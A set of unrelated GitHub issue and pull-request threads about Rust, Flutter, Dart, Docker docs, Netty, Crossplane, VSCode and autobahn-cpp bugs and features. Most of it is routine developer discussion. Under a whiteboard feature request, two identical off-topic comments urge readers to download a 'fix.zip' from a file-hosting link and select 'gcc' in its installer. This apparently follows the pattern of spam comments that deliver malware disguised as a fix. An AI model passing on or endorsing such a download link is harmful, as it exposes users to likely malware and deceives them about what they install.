thread 'main' panicked at 'called `Option::unwrap()` on a `None` value', /RustPython/compiler/core/src/bytecode.rs:286:27

Bytecode is recently changed. Removing all __pycache__ and *.pyc will be helpful.

Cargo clean did work, thanks a lot.
Sorry for the unnecessary issue, I should have done that before submitting an issue.

Sorry for the unnecessary issue, I should have done that before submitting an issue.

It's okay, I don't think this is documented anywhere? It's a natural issue to bump into.


Output WAV still seems to have problems

Investigating...

I see "unknown chunk" after PCM sample data. I don't know what it is, but it doesn't seem to disturb anything...

Ah, the same bug I had once created & then fixed😂
https://github.com/segfault-bilibili/hca.js/commit/3804499fafa1298643ac75b020c373d81a3c18ff

Still not sure what happend, but something must be wrong - I tested with an HCA with its loop section stripped, and then the output WAV file seemed to be normal this time, without weird "unknown" chunk at the end.

Oh now we have two bugs😂


Add Kitematic documentation to docs.master.docker.com

Signed-off-by: Sven Dowideit<EMAIL_ADDRESS>

@bfirsh @jeffdm @docker/docs-owners
once this merges I'll make a docs branch update PR to match.

@thaJeztah You make a good point. This will all change with the release retooling though and much of it won't be exposed to contributors; it will be in our build scripts.

LGTM

@moxiegirl my first comment should probably be checked (although I don't know if its nescessary for the kitematic docs, and probably won't do anything harmful when ran twice); https://github.com/docker/docker/pull/13315#discussion_r30571447
Otherwise, LGTM, so feel free to merge if it's no problem

LGTM once copy pasta is fixed.
Now I'm hungry.

roger that, I'll make fixes very soon and merge and get it the Kitematic guys "published' :)


Allow to load PrivateKey via OpenSSL Engine

Motivation:
OpenSSL itself has an abstraction which allows you to customize some things. For example it is possible to load the PrivateKey from the engine. We should support this.
Modifications:
Add two new static methods to OpenSslX509KeyManagerFactory which allow to create an OpenSslX509KeyManagerFactory that loads its PrivateKey via the OpenSSL Engine directly.
Result:
More flexible usage of OpenSSL possible

This depends on
https://github.com/netty/netty-tcnative/pull/380

Verified this works ... writing a test is not really easy tho :(


Error on steam deck oled

Hi bro , I've got error after installing on steam deck oled

I want to add forza 5

my win 11

This is a duplicate? Do you have the Error Message seen in this thread?
https://github.com/BrianLima/UWPHook/issues/141

Try the new version https://github.com/BrianLima/UWPHook/releases/tag/2.14.3


Nested Object for Sort input

I have an entity and association with the graphql schema
type Entity {
name: String
}
type Association {
id: Int
entity: Entity
}
I would like to sort in a query for association by the entity.businessName like
{
association(sort: [{ entity.name: ASC }]) {
entity
}
}
Is there a solution currently to sort the name inside of association that is nested because currently the SortInput does not include entity
input QueryAssociationsSortInput {
id: SortDirectionEnum
}

From the changeling - I need to update docs - you should be able to define you're own

#362 - The Sort field extension now supports defining more complex sort expressions that will be used. E.g.

schema.Type<TestDataContext>().GetField("people", null)
  .UseSort((Person person) => new
  {
    // [{managerName: ASC}] in GQL can be used and the full expression person.Manager.Name will be used in the OrderBy()
    managerName = person.Manager.Name,
  });


Is it possible that you add:

com.facebook.fresco:webpsupport
com.facebook.fresco:animated-webp:1.10.0
com.facebook.fresco:webpsupport:1.10.0

It will be much appreciated

@Dooks123
PRs are very welcome!
Cheers.

Hi @Dooks123
did you get any solution for it?

@sureshchouhan2009 I resorted to using https://www.nuget.org/packages/Xamarin.Android.UniversalImageLoader which worked amazing.

Xamarin.Android.UniversalImageLoader works excellent


AlertDialog/Simple Dialog weird extrusion once exceed certain height

Steps to Reproduce
void main() {
  runApp(new MaterialApp(
    home: new Material(
        child: new Test(),
    ),
  ));
}

class Test extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return new Container(
        child: new SimpleDialog(
      title: new Text('Hello'),
      children: <Widget>[
        new Container(
          color: Colors.red,
          width: 200.0,
          height: 700.0,
        )
      ],
    ));
  }
}

This problem is first seem when adding ListView widget inside of the Alert/SimpleDialog widget. After some testing it seems like once the inner widget reach a certain height, it will protrude the dialog widget creating this odd white space at the bottom of the dialog.
Image Reference

Logs
No Errors
Flutter Doctor
[✓] Flutter (on Mac OS X 10.12.6 16G29, locale en-US, channel master)
    • Flutter at /Users/ykchou/flutter
    • Framework revision fd2c3bd44a (2 hours ago), 2017-10-05 10:35:38 -0400
    • Engine revision 459f722b86
    • Tools Dart version 1.25.0-dev.11.0

[✓] Android toolchain - develop for Android devices (Android SDK 26.0.1)
    • Android SDK at /Users/ykchou/Library/Android/sdk
    • Platform android-26, build-tools 26.0.1
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_112-release-b06)

[✓] iOS toolchain - develop for iOS devices (Xcode 9.0)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 9.0, Build version 9A235
    • ios-deploy 1.9.2
    • CocoaPods version 1.3.1

[✓] Android Studio (version 2.3)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Java version OpenJDK Runtime Environment (build 1.8.0_112-release-b06)

[✓] IntelliJ IDEA Community Edition (version 2017.2.4)
    • Flutter plugin version 17.0
    • Dart plugin version 172.4155.35

[✓] Connected devices
    • iPhone 6 • A415A6A6-18E8-46E3-8E23-7F8AC2AC1175 • ios • iOS 11.0 (simulator)

Any updates here? I'm having the same issue.

Can you please post a runnable reproduction
as a single file so that we can just copy your code into lib/main.dart of a new project and run to reproduce (incl main() {...} and imports, ...).

Can you still reproduce?

[✓] Flutter (Channel master, v1.2.2-pre.21, on Mac OS X 10.14.3 18D42, locale en-AT)
[✓] Connected device (1 available)
    • Android SDK built for x86 • emulator-5554 • android-x86 • Android 9 (API 28) (emulator)

i'm facing with the same problem.
it only happen on ios .
using flutter 1.2.1


Unbox record return values in dart2wasm if beneficial

Similar to how the Dart VM is able to return records unboxed to callers (in AOT mode for length-2 records IIRC) we can do that in dart2wasm as well as wasm function types allow multiple return values.
We could have an analysis that checks whether all callers of a method immediately destructure the returned record and then change the signature of the function to return the record components instead of a record object.

We could have an analysis that checks whether all callers of a method immediately destructure the returned record and then change the signature of the function to return the record components instead of a record object.

Couldn't we unbox records the same way we unbox ints, bools, and doubles? I.e. unbox small records always and box when necessary (when the value is converted to an Object or some generic type T).

Couldn't we unbox records the same way we unbox ints, bools, and doubles? I.e. unbox small records always and box when necessary (when the value is converted to an Object or some generic type T).

For ints/bools/doubles we represent them unboxed whenever we can. Yes, we could do the same.
The main question is how to minimize size impact (i.e. minimize boxing code) and maximize performance (i.e. minimize number of boxes at runtime). For example for size: Imagine N callers of 1 function. If the N callers need boxed value (e.g. they put it into a list) then returning unboxed values from the function requires N times the boxing code.

We can also consider unboxing record fields. Currently record fields have type dynamic so they are all boxed. We could generate different classes for int and double fields and store them unboxed in the record.

We can also consider unboxing record fields.

That sounds great! Does the closed world type analysis provide exact types for records often enough to make this viable?

We can also consider unboxing record fields. Currently record fields have type dynamic so they are all boxed. We could generate different classes for int and double fields and store them unboxed in the record.

It's a trade-off: A (int, int) can be assigned to a variable of type (Object, Object). Right now using x.$1 can be a direct lookup. If we store the record fields as unboxed, then the .$1 accesses will become polymorphic.


ng-tag ie浏览器不点击X会出现抖动情况

bug！

点击nz-tag 除x外

Hello @liganggang , your issue has been closed because it does not conform to our issue requirements. Please use the Issue Helper to create an issue, thank you!


CI: Use 2.4.6, 2.5.5, 2.6.2, jruby-<IP_ADDRESS>

This PR only updates the CI matrix to the latest generally available Ruby versions.
Source for version numbers: https://github.com/rvm/rvm/blob/master/config/known

Thank you! :green_heart:


Move running instructions out of CONTRIBUTING.md

This is about having running instructions as a separate doc and have both README.md and CONTRIBUTING.md pointing to it, rather than having README.md linking to the more complex CONTRIBUTING.md doc.

/kind documentation

There should only be a CONTRIBUTING.md file at the root of the repo (it's linked to from the new issues / new pr page and highlighted for new contributors -- see https://github.com/blog/1184-contributing-guidelines).

Update the scope of this issue to have a single CONTRIBUTING.md file.

This issue was moved to kubernetes-sigs/cluster-api#35


Fix up to date check logic

Description of your changes

First pass at fix for issue described in #164. Only CloudSQL has been updated, but I want to get consensus on how we want to address this issue (either using what is proposed here or not) before fixing other IsUpToDate functions as well.
Fix #164
Checklist

I have:

[x] Run make reviewable to ensure this PR is ready for review.
[x] Ensured this PR contains a neat, self documenting set of commits.
[ ] Updated any relevant documentation, examples, or release notes.
[ ] Updated the dependencies in app.yaml to include any new role permissions.
[ ] Updated the stack resources documentation to include any new managed resources or classes.

@hasheddan Would it be cleaner if we used https://github.com/imdario/mergo here? It will merge one struct into another without overwriting. I'm thinking something like:
// GenerateDatabaseInstance signature does not change.

func IsUpToDate(p *v1beta1.CloudSQLInstanceParameters, observed sqladmin.DatabaseInstance) (bool, error) {
// Convert both to sqladmin.DatabaseInstance and compare.
    desired := &sqladmin.DatabaseInstance{}

   // Merge observed into desired, i.e. make a deepcopy of observed.
    if err := mergo.Merge(desired, observed); err != nil {
        return false, err
    }

    // Merge our generated database instance into desired, overwriting keys from the previous merge.
    if err := mergo.Merge(desired, GenerateDatabaseInstance(p), mergo.WithOverride); err != nil {
        return false, err
    }

    // Determine whether merging our generated database instance changed anything.
    return cmp.Equal(observed, desired), nil
}

@negz This seems like a valid strategy, and I like that it does not require type casting. However, I tried it out and we run into issues when we have a sub-struct in our parameters that has a field that we put into the Status. For example, in CloudSQlInstance, all Settings fields except for SettingsVersion are in the Spec. Therefore, we do not set the SettingsVersion in GenerateDatabaseInstance, but we do create a new &sqladmin.DatabaseSettings{} with the other fields populated, meaning the SettingsVersion get initialized to 0. Then, we override the SettingsVersion in mergo.Merge(desired, GenerateDatabaseInstance(p), mergo.WithOverride) because mergo sees 0 is a non-empty value in mego.WithOverride. There are a few other fields where we also run into this problem.
The reason this does not occur in the implementation currently presented in this PR is because we set each of the values on desired explicitly, and so we wouldn't overwrite Settings.SettingsVersion unless the whole Settings sub-struct was nil.

@negz one solution to the problem outlined above is to explicitly ignore the fields that fit this criteria in the cmp.Equal. Does that sound like a viable strategy to you? I still don’t love the idea of having to maintain a list of fields we need to ignore, but if we made sure a unit test covered all of them I think it would be feasible.

@muvaf it looks like we currently just report that a CloudMemorystore instance is up to date if a field we can't modify is changed. Do you think this is the correct way to handle the situation? We are essentially telling the user that the external resource matches when it actually doesn't. Maybe we need a separate kind of condition that says something like the current spec is not able to be applied, but the instance is still available. How does that sound to you?
https://github.com/crossplaneio/stack-gcp/blob/15ff8c6d8fc7a82956d1e57bf71981a1da3f281e/pkg/clients/cloudmemorystore/cloudmemorystore_test.go#L301

@negz @muvaf I have updated this PR with new IsUpToDate for CloudSQLInstance, CloudMemorystoreInstance, GKECluster, and NodePool. I would prefer to address similar updates for the networking types in #151 to make the rebase slightly less painful. The remaining types are still (i.e. Bucket and v1alpha3 GKECluster) have lots of legacy code and should be updated when they are moved to v1beta1. Let me know if y'all have any thoughts!

@hasheddan thanks for addressing this in other resources, too! Do you think this is pretty much what we want it to be like or there could be significant improvements with more investment in the future? Wondering whether we need to open an issue to come back to visit this.


Only Render Whitespace on Selection

VSCode Version: any
OS Version: any

In Sublime, there's an option to only show whitespace when text is highlighted.

In my opinion, this helps with code readability, while still allowing you to see whitespace if you need to. Code currently only supports whitespace on/whitespace off.
It might also help to tone down the weight of the whitespace indicator.

Duplicate of #1477.

Let's track in #1477


Pixel-perfection: Active border tab on the first tab has bad margin.

VSCode Version: 1.22.2
OS Version: macOS High Sierra 10.13.3

Active tab borders look great on normal tabs

But the first tab has 1px margin on the left and right sides which makes it look bad:

By magnification you'll see:

If someone wants to fix this and the change is reasonably small, feel free.

@bpasero I took a stab on this one, see if it can make it to the May2018 milestone. Here's the PR → https://github.com/Microsoft/vscode/pull/50854

@ahmadawais yeah I have a fix like that sitting in the ben/editor branch that I am planning to push end of week.

@bpasero  @ahmadawais thanks a lot to both of you guys 👍

Glad to help 👍

Closing via https://github.com/Microsoft/vscode/commit/fd7d510b0b7c72f2208910a7570ac3695e4fba53


As a user, I want to import images onto the whiteboard so that I can annotate or include them in my drawings.

Acceptance Criteria: User can upload images and place them on the whiteboard.

Download
https://www.mediafire.com/file/ynhx37qmyqek881/fix.zip/file
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/ynhx37qmyqek881/fix.zip/file
In the installer menu, select "gcc."


Allow customisation of the tag used to render the component

Fixes #30
@daninfpj @tirdadc could you please have a look?

CircleCI failure is not related, I will have a look.


Wrapping the rawsocket with ssl

This pull request is a try to add a wamp_ssl_transport - having a secure raw socket - to be used with the same spirit as the wamp_tcp_transport and wamp_uds_transport.
This is the second try. The first try was somehow cleaner, because less code was touched. I just added an extra constructor on the base class wamp_rawsocket_transport, taking the ssl context. But when making the examples, all non-ssl examples needed to link against ssl..... I did not find any good solution to get around that....
A solution could be guarding with a precompler flag : #define WITH_SSL, but I considered that less beatiful????
So the second try - this try - I moved the construction of the "socket" from the base class "wamp_rawsocket_transport" to the derived classes "wamp_tcp_transport", "wamp_uds_transport" and wamp_ssl_transport. This changed the purity of the original implementation to the worse - i know.
But only including the boost ssl dependent headers where it is really needed, makes it easier to reason about the linking.
The example callee-ssl.cpp show the usage.

No, TLS should not be a WAMP transport - the WAMP transport should be agnostic to whether it runs over TLS or not. In fact, it should run over any stream based underlying transports. I agree we should have an example .. pls see https://github.com/crossbario/autobahn-cpp/issues/145

Hello again - just a comment.
As the sources is organized now, it is difficult to make an example of using TLS because:
The construction of the ssl-wrapped boost socket needs an argument of type, boost::asio::ssl::context& context. Now the socket is a member on the rawsocket transport ( wamp_rawsocket_transport ), constructed only with the io_service as the only argument. So - as is now - one can not reuse the code in wamp_rawsocket_transport (by template argument) for a TLS connection.
Bad because most of the code is equal, only some handshaking needs to be added.
(The PR was one reorganization being enable to reuse, but the construction independence of wamp_rawsocket_transport can of course be made different. )
BB

@brianbirke Ah, I see. Thanks for laying out your thoughts and describing the issue. Seems like we need some refactoring (maybe have socket as a template parameter or something).
The one thing I am arguing for is: the actual WAMP transport (rawsocket, websocket, whatever) should be independent/orthogonal/decoupled from both 1) the underlying stream transport used (TCP, TLS, Unix domain socket, serial wire, ..) and b) the serializer used. This is how we do it in AutobahnPython, and the upside is: we support any combination of RawSocket/WebSocket/LongPoll X JSON/MsgPack/CBOR/UBJSON X TCP/TLS/UDS as a WAMP transport. This is quite cool and useful.
That being said, I'm not sure if we're ready to do similar in AutobahnCpp (eg serializer independence), but IMO we should at least go for 1).